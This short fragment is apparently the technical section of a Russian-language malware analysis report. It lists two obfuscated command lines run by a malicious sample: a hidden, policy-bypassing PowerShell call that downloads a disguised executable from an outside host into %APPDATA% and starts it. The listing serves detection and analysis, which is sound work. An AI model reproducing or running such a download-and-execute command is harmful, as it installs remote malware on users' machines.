Техническая информация
- '<SYSTEM32>\cmd.exe' /c "pOWrShEll.Ex -xEcUtIonpOLICY byPAsS -NOproFIlE -wINDoWSTYlE HiddEN (nw-objct systEm.nET.WEBcliENT).DowNLOaDfil('http://www.zondopsa.top/rad.php?f=1.gif','%apPdaTa%.EXE');StArT...
- '<SYSTEM32>\cmd.exe' /c "pOWrShEll.Ex -xEcUtIonpOLICY byPAsS -NOproFIlE -wINDoWSTYlE HiddEN (nw-objct systEm.nET.WEBcliENT).DowNLOaDfil('http://www.zondopsa.top/rad.php?f=1.gif','%apPdaTa%.EXE');StArT...' (со скрытым окном)